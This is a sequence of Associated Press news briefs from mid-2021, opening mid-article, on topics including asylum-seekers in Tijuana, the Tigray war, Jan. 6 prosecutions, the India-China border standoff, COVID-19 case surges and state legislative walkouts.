Recently in Tijuana, volunteer attorney Ian Seruelo of San Diego interviewed about 20 asylum-seekers staying at the camp who scored an appointment in the office of Border Line Crisis Center, part of a network of advocacy groups. The network has searched for vulnerable people at the camp but shifted to migrant shelters, hoping to dispel beliefs that the best chances of getting picked are at the increasingly dangerous and unsanitary camp.

Migrants aggressively trailed advocates who visited the camp, asking, Why are you helping them and not us? Seruelo said. With a mix of Latino and Black migrants, accusations of racism flew. The attorney says he feels put in a corner" choosing who gets into the U.S.

Seruelo spends about 10 minutes with each person in a cubicle, focusing his questions narrowly on living conditions in Tijuana. Their reasons for fleeing their homelands are left for a U.S. immigration judge.

Silvia Portillo, 34, sat with an infant on her lap and told him that she had a difficult pregnancy and that a knife-wielding man threw a rock at her tent in the camp, threatened to set it on fire and asked for money.

I do not feel safe, but I'm there out of necessity, said Portillo, who arrived from Honduras in a 2018 caravan, married a Mexican man and has lived in the camp since February because she cannot afford rent.

Manuel Antonio Segovia of El Salvador says he volunteers as a security guard at the camp, where criminals extorting migrants have punched him in the stomach and chest. Roberto Mejia of Guatemala says a man pulled a gun on him and others told him to leave the camp.

Migrants who are chosen are tested for COVID-19 and typically released into the United States, where a judge will rule on their request for asylum.

Since March, the American Civil Liberties Union has acted as an intermediary by forwarding requests from advocacy groups in Tijuana and elsewhere along the border for up to 35 families a day. The ACLU said in May that about 2,000 people were admitted through the efforts to settle a lawsuit it filed against the government. ACLU attorney Lee Gelernt said the Biden administration wont allow a more recent number to be released.

Separately, advocacy groups also have been choosing up to 250 asylum-seekers a day in other locations, not including San Diego. The group HIAS has facilitated entry for 2,857 people as of July 2, while the International Rescue Committee said it arranged entry for 540 people.

The U.S. Homeland Security Department didn't answer specific questions but said in a statement last month that the exemptions were aimed at identifying and lawfully processing particularly vulnerable individuals who warrant humanitarian exceptions.

Nelson Hernandez, 33, of El Salvador, figured he may have his 4-year-old daughter or elderly mother-in-law to thank for his family getting picked from the Tijuana camp, but he's not sure.

God wanted it, he said before a border official called his name and he set foot on U.S. soil. The family was headed to relatives in McAllen, Texas.

For Membreno, he thinks he may have been chosen because he followed advocates for hours as they visited the camp. Within hours of crossing the border, he was released in San Diego and making plans with his family to join relatives in North Carolina.

____

Associated Press writer Julie Watson in San Diego contributed to this report.
BELFAST, Maine (AP)  The grandmother of a 3-year-old boy whose mother is charged with murder in his death is also facing charges for having allegedly concealed her daughter's location from police.

Sherry Johnson was charged on June 30 with allegedly lying to police about where her daughter Jessica Trefethen was, the Bangor Daily News reported on Tuesday.

The two women on June 20 had brought 3-year-old Maddox Williams to the hospital, where he was pronounced dead. An autopsy later determined that Maddox died from blunt force trauma.

Johnson, 52, initially told police she had dropped Trefethen, 35, off at a public pier after leaving the hospital, but later admitted that they had in fact been together.

On June 23, police said Johnson told them she did not know where her daughter was but then revealed she was at home with her in Stockton Springs. Trefethen was arrested the same day and appeared in court on June 25 to face charges. She did not enter a plea at that hearing.

It is not clear if Johnson entered a plea. A judge set bail for $2,000 and ordered her not to have contact with her daughter and several other people. Johnson could face up to 10 years in prison and a $10,000 fine if convicted of concealing a person, the newspaper reported.

It is not clear if Johnson has an attorney who can speak for her.

Maddox was one of four children who died within a month in the state, which prompted a state lawmaker has called on the legislature to investigate the deaths. The state's child protection services has been under intense scrutiny and saw many reforms put in place after the deaths of two girls in 2017 and 2018.
MEKELE, Ethiopia (AP)  The 16-year-old girl hoped to go to war. Inspired by the sight of resurgent local forces marching in to retake the capital of Ethiopias Tigray region six months after being forced to flee, Meron Mezgeb waited in a crowd seeking to get a gun and join them.

I came here because I saw girls like me being raped by combatants, she said. I actually wanted to go (fight) at the beginning but I was told I was too young. But because I saw my comrades come, I came here to fight alongside them.

The scenes of jubilation and determination in the city of Mekele, in video obtained by The Associated Press and smuggled out of Tigray days later, are a rare look at the dramatic turn in a conflict that has threatened to destabilize one of Africas most populous and powerful countries.

After months of fear in a city occupied by Ethiopian soldiers and forces from neighboring Eritrea who pursued the Tigray regional leaders, crowds of Mekele residents rushed to the local security bureau to sign up to fight.

They were buoyed by the striking sight of a long parade of thousands of Ethiopian soldiers now held as prisoners of war, and by Tigray leaders walking openly in the city again. Residents lining the streets jeered the prisoners, and cheered their leaders.

The Tigray leaders have rejected a unilateral cease-fire that Ethiopias government announced as its soldiers retreated from Mekele, and they have vowed to chase enemies out of the rest of the Tigray region. With the retreat of Ethiopian and Eritrean forces, that means fighting against forces from the neighboring Amhara region who seized large parts of western and southern Tigray during the eight-month war.

The fighting will not be limited simply to the Tigray borders if needed, the Tigray president, Debretsion Gebremichael, said in an interview. We have to have some guarantee that they will not come back again.

While the Tigray forces now control large areas, the region has remained largely cut off from the world, with transport and communications links severed or blocked. After months of looting and destruction that witnesses have blamed on Ethiopian and allied forces, the United Nations is still highly concerned about the fate of millions of civilians as food runs short amid famine conditions.

Only on Monday, days after Ethiopian Prime Minister Abiy Ahmed told the U.N. secretary-general that Tigray would be open to immediate aid, did the U.N. World Food Program announce that 50 trucks of badly needed supplies had rolled into Mekele. Two weeks had passed since such aid last arrived, and the WFP warned that double this number of trucks needs to be moving in every day to meet the vast humanitarian needs in the region.

For residents, the U.N. convoy was a welcome sight. But the months of conflict mean a return to normal is still far away.

I am a driver, said Hiluf Abrha, another resident hoping to join the Tigray forces. Because the Amhara forces committed a lot of atrocities, because they killed my uncle, I parked my truck and came here to register so that I can join the struggle.

For the prisoners of war, many of whom the Tigray leaders have said will be released, conditions are challenging because of the destruction that Ethiopian and allied forces waged for months against almost all health centers across Tigray.

At a camp for the prisoners, soldiers lay on the ground, some trying to nurse injuries with little care available. This is more than our capacity, said Yusuf Ibrahim, medical coordinator for the Tigray forces. He called for more international aid.

They can only do for us when they have something for themselves first. It is difficult for me to say they havent helped us, they have helped us as much as they can, said one prisoner, Menor Arrarso, who said there was nothing to eat or wear.

He showed his wounded hand and said he had walked more than 100 kilometers (60 miles) in that condition.

They couldnt provide us with transportation when we came here," he said. "Two or three people died right here among us who could have been saved had we gone to our homes and gotten treatment. This is because here there is a lack of treatment.

Another prisoner, Sewareg Bireda, agreed. Aside from the lack of food, they dont give us the necessary additional medicine, like painkillers. Apart from that, they are helping us as much as they can.

More than 6,000 Ethiopian soldiers and officers had been detained, the Tigray president said.

We are committed to keep them well as long as they are with us, he said. And after a while, yes, our plan is ... they have to be free, wherever they want.

But if evidence emerges that any prisoner had committed an atrocity in the war, he added, we will keep them because they have to go to court.
BOISE, Idaho (AP)  An Idaho man has pleaded guilty to a felony for his role in the Jan. 6 insurrection at the U.S. Capitol by loyalists of then-President Donald Trump.

In the plea hearing Wednesday, Josiah Colt admitted that he brought weapons and other tactical equipment to Washington, D.C. before the siege on the Capitol and that he obstructed an official proceeding  the charge to which he pled guilty  by disrupting Congress as lawmakers prepared to certify the vote electing President Joe Biden.

In exchange for Colt's plea and future cooperation in other cases, prosecutors agreed to drop three other felony charges against Colt.

U.S. District Judge Thomas Hogan told Colt, 34, that the charge carries a potential sentence of up to 20 years in prison, but said that under federal sentencing guidelines a sentence of about five years would be more likely. Still, the judge could issue a longer or shorter sentence than that depending in part on his own discretion and whether Colt's testimony is useful to prosecutors in other cases.

Colt, from Boise, was the first Idaho resident to be charged in connection with the insurrection earlier this year. Photos from the siege showed Colt dangling from the Senate balcony and sitting in the seat normally used by the vice president in the Senate chamber, though Colt later erroneously bragged that he was the first person to sit in House Speaker Nancy Pelosi's chair.

During Wednesday's hearing, Colt agreed that he and two other men  Nathan DeGrave of Las Vegas and Ronnie Sandlin of Memphis, Tennessee, both charged separately  brought a pistol, a pocket gun, gas masks, a handheld stun gun, body armor, knives, ammunition, bear spray, walkie talkies and an expandable baton to Washington D.C. in advance of the insurrection.

According to court documents, Sandlin attempted to solicit donations for the trio's trip to the Capitol in a social media post on Dec. 31, 2020.

DeGrave and Sandlin both face nine charges for what prosecutors say was their role in the siege, and neither man has entered a plea. Sandlin's attorney, Jerry Ray Smith Jr. of Washington, D.C., declined to comment.

Mr. DeGrave looks forward to his day in Court and being acquitted," DeGrave's attorney John Pierce wrote in an email to The Associated Press. "In the course of his and other trials, we are going to expose what actually happened on January 6, 2021 and who exactly was behind it. The nation cannot move forward until that occurs.

In his own plea hearing, Colt also agreed that he was in a photo Sandlin posted to social media with the caption, My fellow patriot Josiah Colt sleeping ready for the boogaloo Jan 6th. The photo showed Colt lying in a bed with his eyes closed, holding a handgun. Colt replied to the post, Ready for any battle followed by a laughing emoji.

But Colt told the judge he objected to the prosecution's characterization of the post, saying at the time he didn't understand the meaning of the word boogaloo.

Boogaloo is a loosely affiliated far-right movement that includes a variety of extremist factions and political views. The name is a reference to a slang term for a sequel -- and the boogaloo movement typically uses it to refer to a second civil war.

That whole post was kind of a joke and was taken out of context, Colt said.

Under the plea deal, Colt also admitted that he repeatedly yelled for the crowd at the Capitol to breach the building," and that he saw Sandlin punch an officer in the back of the head in an effort to gain access to the balcony.

A sentencing date hasn't been set yet for Colt, to give him time to fulfill his agreement to cooperate with prosecutors. Defendants who successfully cooperate with prosecutors often can leverage that assistance to argue for a lighter sentence.
NEW DELHI (AP)  The foreign ministers of India and China met in Tajikistan on Wednesday with New Delhi stressing that a military standoff along a mountainous border area was profoundly disturbing their ties, and warning that any unilateral change in the status quo by Beijing was unacceptable.

Full restoration and maintenance of peace and tranquility in border areas is essential for the development of bilateral ties, Indian External Affairs Minister S. Jaishankar said in a tweet.

Jaishankar and Chinese Foreign Minister Wang Yi met on the sidelines of the Shanghai Cooperation Organization foreign ministers' meeting in Dushanbe, Tajikistan.

Chinas Foreign Ministry quoted Wang as saying the standoff benefited neither side and that China wanted to resolve the situation through dialogue.

China-India relations are defined by not threatening each other and providing mutual development opportunities. The two countries are partners, not opponents and especially not enemies, Wang was quoted as telling Jaishankar in a statement posted on the ministry's website.

The standoff between India and China has continued for more than a year despite military talks involving local commanders and political meetings between foreign and defense ministers.

Jaishankar said the two sides agreed Wednesday to hold a meeting of senior military commanders.

Last year, 20 Indian troops died in a clash with Chinese soldiers involving clubs, stones and fists in a portion of the disputed border. China said it lost four soldiers.

Both sides have mobilized tens of thousands of soldiers, artillery and fighter aircraft along the fiercely contested border known as the Line of Actual Control that separates Chinese and Indian-held territories from Ladakh in the west to Indias eastern state of Arunachal Pradesh, which China claims in its entirety.

Indian military officials say the Chinese army has stepped up deployment in the contested region, which has been met by a similar move by Indian troops.

Also Wednesday, the Indian army denied a media report that Indian and Chinese soldiers had recently clashed again in eastern Ladakh.

"Ever since the disengagement agreement in February this year, there has been no attempt by either side to occupy the areas from where the disengagement had been undertaken. There have been no clashes in Galwan or any other area, as reported in the article," the army said in a statement.

India and China fought a war in 1962.

Recalling their last meeting in Moscow in September last year, Jaishankar emphasized the need to follow through on an agreement reached then on disengagement along the Line of Actual Control in Eastern Ladakh.

He said a successful disengagement in the Pangong Lake area earlier this year had created conditions for resolving the remaining issues. "It was expected that the Chinese side would work with us towards this objective. The Indian External Affairs Minister noted however that the situation in the remaining areas is still unresolved, the Indian side said in a statement.
NEW YORK (AP)  An Iranian Foreign Ministry spokesperson said Wednesday that accusations by U.S. authorities that Iran is plotting to kidnap Iranians abroad who criticize the country are baseless and ridiculous.

The spokesperson, Saeed Khatibzadeh, was quoted by Irans semiofficial ISNA news agency a day after U.S. federal authorities in New York announced criminal charges against four Iranian intelligence operatives.

The authorities, quoting from an indictment, say the individuals plotted to kidnap a prominent Iranian opposition activist and writer in exile from her Brooklyn residence and take her to Tehran.

Khatibzadeh derided the plot as Hollywood-style scenarios and baseless and ridiculous accusations unworthy of a response.

Making such an imaginary story is not unlikely by the U.S. Its entire short history is full of assassination, kidnapping and sabotage in other countries, Khatibzadeh said.

Later Wednesday, White House press secretary Jen Psaki told a briefing that Iran's actions to attempt to silence the voices of those peacefully working to address the situation both inside of Iran and outside of Iran are appalling.

We categorically condemn Irans dangerous and despicable reported plot to kidnap a U.S. citizen on U.S. soil, she said.

She said law enforcement actions like those announced Tuesday were part of a strategy to defend U.S. citizens and interests that includes actions taken to defend U.S. forces from Iranian-backed militant groups and diplomatic efforts to constrain Iran's nuclear program.

The indictment in Manhattan federal court described the plot as part of a wider plan to lure three individuals in Canada and a fifth person in the United Kingdom, along with individuals in the United Arab Emirates, to Iran.

The identities of the alleged victims were not released but Brooklyn-based Masih Alinejad confirmed that authorities had told her she was among the targets.

I knew that this is the nature of the Islamic Republic, you know, kidnapping people, arresting people, torturing people, killing people. But I couldnt believe it that this is going to happen to me in United States of America, Alinejad told The Associated Press.

Alinejad, who worked for years as a journalist in Iran, long has been targeted by its theocracy after fleeing the country following its disputed 2009 presidential election and crackdown.

She is a prominent figure on Farsi-language satellite channels abroad that critically view Iran and has worked as a contractor for U.S.-funded Voice of Americas Farsi-language network since 2015. She became a U.S. citizen in October 2019.

___

Associated Press writers Nasser Karimi in Tehran, Iran; and Nancy Benac in Washington, D.C.; contributed to this report.
NEW YORK (AP)  A judge on Wednesday rejected a selective prosecution claim by a one-time associate of Rudy Giuliani who faces an October trial with two others on charges that they made illegal campaign contributions.

U.S. District Judge J. Paul Oetken made the ruling prior to a trial of Lev Parnas, Igor Fruman and Andrey Kukushkin, on charges that they had a scheme to make illegal campaign contributions to politicians in New York, Nevada and other states.

Prosecutors say they were trying to win support for a new recreational marijuana business.

All three have pleaded not guilty. Messages were sent to their lawyers for comment. Todd Blanche, a lawyer for Fruman, declined comment.

Parnas had claimed the charges against him should be dismissed because he was selectively prosecuted.

He maintained he was targeted because of his national origin, his political affiliation and a government conspiracy to prevent him from exercising his constitutional rights.

The judge wrote that other individuals similarly situated to Parnas were prosecuted along with him, including two who share his national origin. As to the discrimination claim, the judge said Parnas's argument was not just speculative, but implausible.

Parnas asserts that his indictment and arrest were a means to thwart Parnass testimony in the impeachment inquiry of former President Donald Trump, Oetken said. "But the theorizing of Twitters users, and Parnass own speculation, do not constitute evidence of an improperly motivated prosecution.

Indeed, Parnas was, by his own admission, not cooperating with the Congressional demand as of the day of his indictment. To accept Parnass conspiracy theory, the Government would have to have known that, one day in the future, Parnas would change his mind and decide to cooperate with the Congressional demand, he said.

The judge also said the conduct of prosecutors since the charges were brought undermine the selective prosecution argument.

The Government consented to allowing Parnas to produce documents to the House impeachment committee, and it has not objected to Parnass media interviews and television appearances, Oetken said.

The judge did, however, grant a request by Parnas to allow him to face a separate trial on charges that he cheated investors in a business titled Fraud Guarantee."

Parnas and Fruman face charges that they made sizable contributions while trying to get Americans interested in investigating Bidens son in Ukraine. Parnas and Fruman worked with Giuliani to try to convince Ukraine to announce a probe of Biden. Giuliani, a Republican, has said he knew nothing about the donations.

Trumps efforts to press Ukraine for an investigation of the Bidens led the House to impeach Trump, though he was acquitted by the Senate.
HONOLULU (AP)  A judge ruled she won't appoint a special master just yet to make sure Hawaii officials are keeping inmates safe from COVID-19, but said she is troubled by allegations in a lawsuit describing egregious conditions at prisons and jails that led to virus outbreaks at five of the state's eight prisons and jails.

In a ruling issued late Tuesday afternoon, U.S. District Judge Jill Otake granted class-action status to the lawsuit by inmates alleging state officials mishandled the pandemic and failed to implement its Pandemic Response Plan.

Lawyers for the inmates asked the judge to appoint an expert who could ensure the plan is being followed.

This does not foreclose the possibility that a special master or another person with a similarly contemplated role may be appointed in the future, if appropriate, the judge said.

Otake ordered the state to immediately implement" and follow the plan, focusing on cleaning, social distancing, quarantining and other measures.

Attorneys representing the state have said they addressed COVID-19 safety concerns by adopting the response plan on March 23, 2020, consistent with guidelines from the U.S. Centers for Disease Control and Prevention.

State officials didn't immediately comment on the ruling Wednesday.

Otake noted descriptions in the lawsuit including an outbreak at one Oahu facility that led to 90% of the inmate population to contract the virus, where dirty clothes from that facility where laundered by inmates and staff at another facility, which resulted in an outbreak there.

Other descriptions she noted include an inmate with lupus who contracted the virus but received little-to-no medical care and was left with serious kidney damage, no social distancing or mask-wearing enforcement and crowded and sanitary living conditions.

Inmates said in court documents ailing detainees were kept near a bathroom flooded with urine and feces and their requests to use the bathroom were frequently denied, forcing them to urinate in their drinking cups.

If the conditions described in the declarations submitted by Plaintiffs continue, the risk of harm to all inmates is undeniable," Otake said, adding that she found their statements to be credible.

Otake found it problematic that officials transported symptomatic inmates on an airplane from a facility with an active COVID-19 outbreak who told staff they were ill or whose infections weren't confirmed because of late or no testing to a facility with no active COVID-19 cases that previously experienced an outbreak and then housed those inmates with virus-negative inmates.

There is almost no clearer an example of complete disregard for the Response Plan and abandonment of precautionary measures to prevent the spread of COVID-19 between DPS facilities and islands, she said.

Otake also took issue with officials relocating inmates from a crowded area known as the fishbowl only after the plaintiffs filed a motion asking for the special master. She called the timing of the actions suspect.

She is requiring both sides to attend monthly status conferences starting next week with a magistrate judge. They must file reports a week before each meeting.
KANSAS CITY, Mo. (AP)  A week after missing his first sentencing hearing, a Kansas man was hauled into a federal courtroom in Kansas City, Missouri, in shackles and sentenced to more than 12 years in prison for carrying out a phony debt-selling scam involving millions of dollars.

Joel Tucker, 52, of Prairie Village, was sentenced Tuesday after pleading guilty last year to transporting stolen money, bankruptcy fraud and tax evasion. He was also ordered to pay more than $8 million in restitution to the IRS.
LOS ANGELES (AP)  Los Angeles County reported the fifth straight day of more than 1,000 new coronavirus cases and health officials warned Tuesday that the especially contagious delta variant of the disease continues to spread rapidly among Californias unvaccinated population.

The nations most populous state reported 3,256 COVID-19 cases, the highest one-day total since early March. Los Angeles County, where a quarter of Californias 40 million people live, reported a new caseload totaling 1,103.

One month ago, on June 13, the five-day average of cases was 201 and today the five-day average is 1,095, the Los Angeles County Department of Public Health said in a statement. This is an increase of more than 500% in just one month.

The statewide seven-day positivity rate is 2.7%, which is 50% higher than a week ago and at the highest point since late February, according to data from the California Department of Public Health.

Officials expected a jump in cases when capacity limits were lifted for businesses and most mask restrictions and social distancing requirements were eliminated for vaccinated people in mid-June.

Los Angeles County recommended two weeks later that vaccinated residents resume wearing face coverings indoors after detecting that about half of all new cases were the delta variant.

A significant number of unvaccinated people indoors, with a highly contagious delta variant circulating, makes it easy for this variant to be transmitted at higher rates, LA Countys health director, Barbara Ferrer, said in a statement Tuesday.

Statewide hospitalizations reached 1,600, the highest level in two months. In LA County, 376 people are hospitalized with COVID-19, with about 23% of those in intensive care units, health officials said.

California has awarded $116.5 million in prizes  the countrys largest pot of vaccine prize money  to encourage residents to get their shots. Los Angeles County on Tuesday announced a new incentive: people who come to county-run inoculation sites will be eligible to win tickets to concerts at the Hollywood Bowl and Staples Center.

The COVID-19 vaccines are the most powerful tool to reduce the risk of serious illness if infected, Ferrer said.
AUGUSTA, Maine (AP)  Maine is going to study the burden student loan debt has on college graduates in the state.

Democratic Gov. Janet Mills has signed a bill designed to study the impact of the debt. Democratic Sen. Mattie Daughtry, of Brunswick, proposed the bill, which reinstates the state's Commission to Study College Affordability and College Completion.
FALLON, Nev. (AP)  A 51-year-old man accused of a 2018 shooting at a rural Nevada church that killed one man and injured another was found incompetent Tuesday to stand trial.

A district judge issued the ruling based on his finding that John OConnor of Fallon is unable to assist his attorney with his defense, the Lahontan Valley News reported.
Paul Bersebach/AP

NEWPORT BEACH, Calif. (AP)  Developer and reality TV personality William Hutchinson pleaded not guilty Tuesday to raping an unconscious 16-year-old girl at his Southern California vacation home.

The 63-year-old, who is free on $100,000 bail, declined to comment after the hearing in Orange County Superior Court, telling reporters: Have a nice day, no thank you" as he got into a car, the Orange County Register reported.
HUNTINGTON, W.Va. (AP)  A dozen community-based organizations have been given minigrants from the Marshall University Minority Health Institute in West Virginia, the school said.

The awards are for as much as $5,000 and are intended to help groups that work to promote health equity and predominantly serve racial or ethnic minorities in West Virginia.
MADRID (AP)  More than 100 African men used grapples and threw stones at police as they tried to scale a high border fence and enter a tiny Spanish territory in North Africa in the middle of the night, authorities said Wednesday.

Two Spanish police officers were injured in the incident, which was the second attempt in three days by migrants from Sub-Saharan African countries to enter Melilla illegally, Spanish authorities said in a statement.
MILWAUKEE (AP)  A Milwaukee man was sentenced Wednesday to three years in prison for fraudulently seeking more than $600,000 in federal coronavirus relief funding.

Authorities say Stephen Smith, 42, admitted that he sought Paycheck Protection Program loans on behalf of three different companies through applications to an insured financial institution. He allegedly made numerous false and misleading statements about the payroll expenses of the three companies.
WINDOW ROCK, Ariz. (AP)  The Navajo Nation on Tuesday reported six new COVID-19 cases, but no additional deaths.

The figures released by the Navajo Department of Health brought the total number of cases on the vast reservation to 31,107 since the pandemic began. The death toll remains at 1,361.
RICHMOND, Va. (AP)  A New Zealand man who was shot while allegedly trying to kidnap a 14-year-old Virginia girl he met online has reached a plea agreement with federal prosecutors.

Troy George Skinner, 28, of Auckland, New Zealand, was scheduled to face trial next month on two counts of attempted kidnapping and nine counts related to the production of child pornography. But electronic court records show that the jury selection process was terminated last week and a plea agreement hearing in the case has been scheduled for July 29.

Skinner was arrested in June 2018 after he showed up at the Goochland home of the girl and tried to break in. Authorities said the girls mother warned him several times that she had a gun, then shot him after he broke the glass on the second door he tried to open. Skinner recovered from a bullet wound to his neck.

It was not immediately clear what charges are included in the plea agreement. A spokeswoman for Acting U.S. Attorney Raj Parekh declined to comment on the terms of the agreement. Skinner's lawyers did not return telephone messages and emails seeking comment.

Federal authorities said Skinner met the girl online in December 2017, when he was 24 and she was 13, although she told him she was 16, an FBI agent wrote in an affidavit when he applied for a warrant to search Skinner's cell phones. They communicated via chat sessions and livestream video sessions, and had an online sexual relationship, according to the affidavit.

Authorities have not named the girl because of her age. In court documents, prosecutors said that when the girl tried to end their relationship, Skinner started harassing her and attempting to manipulate her with threats of suicide. The girl eventually cut off contact with Skinner.

Skinner left Auckland on June 20, 2018, traveled to the U.S. and arrived at the girls house uninvited on June 22 after stopping at a Walmart store and buying pepper spray, a folding knife and duct tape, according to the affidavit.

Former Goochland County Sheriff James Agnew said the girl, her teenage sister and her mother saw Skinner attempting to break in to their home. He disclosed that information in the days after Skinner's arrest.

Agnew said Skinner first tried to break down a basement door with a brick and appeared to ignore warnings from the girls mother that she was armed. Agnew said Skinner then climbed some steps to the deck and smashed a glass door with the brick. He said the girls mother warned Skinner again that she had a gun, but he reached in to try to unlock the door. She fired twice, hitting him once in the neck, Agnew said. Skinner collapsed in a neighbors yard.

A federal indictment filed against Skinner in September 2019 alleges that Skinner, while in New Zealand, induced the girl to engage in sexually explicit conduct to produce child pornography.

Skinner pleaded not guilty to the charges. His lawyers argued that because all of Skinner's contact with the girl was virtual and the two never physically touched each other, the images did not constitute child pornography.

The details of his plea agreement with prosecutors are expected to be revealed during the July 29 hearing in U.S. District Court in Richmond. He faces the possibility of decades in prison, but it is unclear what kind of sentencing recommendation could be included in the plea agreement.
MIAMI (AP)  Norwegian Cruise Line is challenging a new Florida law that prevents cruise companies from requiring passengers to show proof of vaccination against the COVID-19 virus.

The lawsuit, filed Tuesday in Miami federal court, contends that the law jeopardizes safe operation of cruise ships by increasing risk of contracting the virus. Norwegian intends to restart cruises from Florida ports Aug. 15 with vaccinations required for all passengers.

Norwegian wants a judge to lift the ban by Aug. 6. The law imposes a fine of $5,000 each time a cruise line mandates that a passenger provide vaccination proof. Norwegian claims it violates federal law and several constitutional rights.

The company, officially known as Norwegian Cruise Line Holdings or NCLH, says it won't be able to sail from Florida unless a judge acts to block the law.

The result would be a devastating, unrecoverable loss for everyone  not only for NCLHs business but also for tens of thousands of passengers, employees, and stakeholders who all benefit from NCLH resuming safe operations as planned, the lawsuit says.

The only way NCLH could maintain its protocols and operations as currently planned is by abandoning Florida altogether, the lawsuit adds.

The lawsuit names as a defendant Florida's surgeon general, Dr. Scott Rivkees, who is head of the state Health Department. Rivkees is an appointee of Republican Gov. Ron DeSantis, whose spokeswoman said the cruise line's policy discriminates against children under 12 and others who are not vaccinated.

DeSantis press secretary Christina Pushaw noted in an email that Florida recently won a lawsuit challenging several cruise industry regulations imposed by the Centers for Disease Control and Prevention over the COVID-19 pandemic.

Florida already fought and won its case so that Norwegian and all other cruise lines can invite and serve all Americans on its vessels, Pushaw said. But apparently Norwegian prefers the shackles of the CDC to the freedom offered by Florida.

The CDC is appealing that earlier decision by a Tampa federal judge.

Other cruise lines, including Carnival and Royal Caribbean, have already begun voyages from Florida with a variety of policies regarding COVID-19 vaccination.
COLUMBUS, Ohio (AP)  John Glenn's birthplace and childhood hometown in Ohio are joining forces to celebrate what would have been the history-making astronaut and U.S. senator's 100th birthday with a three-day festival.

Glenn, who died in 2016, was the first American to orbit Earth, making him a national hero in 1962. Before that, he served as a military fighter pilot in World War II and the Korean War and set a transcontinental air speed record. In 1998, he became the oldest person ever to go into space at 77. He spent 24 years as a Democrat in the U.S. Senate.
COLUMBUS, Ohio (AP)  A week after the state enacted an anti-hazing law in honor of an Ohio University student who died in 2018, the university suspended another fraternity for allegedly violating hazing rules.

The Athens-based school sent the fraternity a notice Tuesday that it will be suspended for four years following an investigation by the school that revealed a pattern of student code of conduct violations.

The university found the Beta Chapter of Delta Tau Delta committed nine violations, including selling and distributing alcohol, reckless behavior and coerced consumption of alcohol, according to a statement from Dr. Jenny Hall-Jones, interim vice president of student affairs. It's not clear what prompted the investigation.

Members of the fraternity are prohibited from joining other fraternities on campus or starting their own, the school said. The fraternity will be eligible to apply for reinstatement in 2025.

The suspension follows Gov. Mike DeWine's signing of a bill into law last week that put in place tougher penalties for hazing at Ohio universities and colleges starting this fall.

Collins Law, is named after Collin Wiant, an 18-year-old Ohio University freshman who died in 2018 after ingesting nitrous oxide at a different fraternity house, which was expelled in May 2019.

The legislation had stalled during previous sessions, but bipartisan efforts to pass it were renewed following the death of Bowling Green State University student Stone Foltz of alcohol poisoning in March. Seven current or former Bowling Green State fraternity members have pleaded not guilty to various charges in Foltz' death.

Seven people from the Ohio University fraternity previously pleaded guilty to charges in Wiant's death.

Collin was a protector by nature, his mother, Kathleen Wiant, who championed the legislation since her sons death, said at the July 6 signing ceremony. I can think of no greater way to honor him than a law in his name designed for the sole purpose of protecting others.

The law will go into effect in October and will elevate hazing violations to second-degree misdemeanors. It will make hazing involving forced consumption of drugs or alcohol that seriously harms someone a third-degree felony punishable with possible prison time.

The law will also require college campuses to provide anti-hazing training and online information about reported hazing violations.

We cant wait to get serious about this until we lose another child, until we lose another college student, DeWine said last week when he signed the bill.

He added, "Were going to get serious and say that hazing is wrong when theres no deaths  when everyone wakes up the next morning  that still is wrong.

___

Associated Press writer Kantele Franko contributed to this report. Amiri is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on undercovered issues.
SALEM, Ore. (AP)  With Democrats in the Texas House fleeing the state this week to block a Republican bill curbing voting access, the comparisons with Oregon have been inevitable.

Like Oregon, the minority party in Texas can shut down legislative action by blocking the majority from achieving a two-thirds quorum needed to conduct business. Like Oregon, Texas majority party has accused the minority of blocking key priorities and taking a taxpayer-funded vacation, rather than serving their constituents. And like Oregon, lawmakers in the minority have insisted they are doing whats right to serve their districts.

One major difference: In Oregon, unlike Texas, it is Democrats who reign supreme. And thats made for something of an awkward reckoning, Oregon Public Broadcasting reported.

Republicans here have welcomed the comparison, seeing the Texas standoff as proof the nuclear option presented by walkouts is a commonsense tool for a minority party. Democrats say the two states shouldnt be lumped together.

Its one thing to take a principled stand on something as sacred as the right to vote, Hannah Kurowski, a spokeswoman for Oregon House Democrats, said in an email to OPB. Its another thing entirely to do what Oregon GOP lawmakers have done, which is to shut the Legislature down year after year after year because they are mad voters reject their extreme ideology.

Kurowski suggested that comparing the two states is a false dichotomy because the issues in Texas involve the rights of historically marginalized communities of color to vote, and Oregons standoffs did not.

There really isnt a comparison to be made, she wrote.

As Oregon Republicans have hastened to point out in recent days, thats a more nuanced view than Democrats here offered when Republican lawmakers refused to show up in 2019, 2020 and for a single day in this years session.

Most of those walkouts were rooted in Republican opposition to a bill that would have reduced Oregons greenhouse gas emissions  a step Republicans argued would cut jobs and hike prices in their districts. Republicans in the Oregon Senate have also walked out to protest a new business tax and the closure of schools due to COVID-19.

But Democrats have insisted that the walkouts by Oregon Republicans were part of a larger attack on democracy that verged on hijacking the states system of governance.

We must acknowledge the walkout for what it is: subversion of democracy and a dereliction of duty, state Sen. Ginny Burdick, then the Senate majority leader, wrote in an Oregonian op-ed in March 2020. To call walking out on your oath of office leadership is insulting.

Days later, while announcing the session was prematurely dead because of Republicans obstruction, House Speaker Tina Kotek said Republicans were in clear violation of their one constitutional duty: to vote, on bills, on this floor. They are denying Oregonians their right to a functioning legislature by walking off the job and preventing votes on all the legislation ready for consideration on our floors.

Spokespeople for Kotek, D-Portland, and Senate President Peter Courtney, D-Salem, did not respond to inquiries on Tuesday.

But many of those same arguments, and some others, have been a hallmark of a labor-backed campaign called No More Costly Walkouts. The coalition backing the effort has purchased advertisements accusing lawmakers of accepting their paychecks while refusing to work, and has introduced 10 potential ballot measures that could curb walkouts in Oregon moving forward.

Patty Wentz, a consultant working for the campaign, declined to speak to the situation in Texas on Tuesday, saying she had not been tracking it closely. But she said the repeated disruptions Oregon has seen in recent years showed something in this state was broken.

Walkouts should be difficult, and they should be rare, Wentz said. The problem in Oregon isnt that there are isolated walkouts every 10 years. They have started to happen regularly.

Andrea Kennedy-Smith, a chief petitioner in the proposals to impede legislative walkouts in Oregon, did not return a message.

Meanwhile Burdick, the Portland Democratic senator who wrote the fiery op-ed last year, said Tuesday that she, too, sees the situations in the two states as fundamentally different.

The walkout in Oregon was over policy, she said. The walkout in Texas was over measures that strike at the heart of the democracy. I see it as an act of desperation in Texas.  I probably feel as strongly for the Texas Democrats walkout as I felt against the Oregon Republicans.

Oregon Republicans, meanwhile, have welcomed comparisons to Texas Democrats, many of whom are currently in Washington, D.C, both to avoid arrest in their home state and lobby Congress to pass voting access laws.

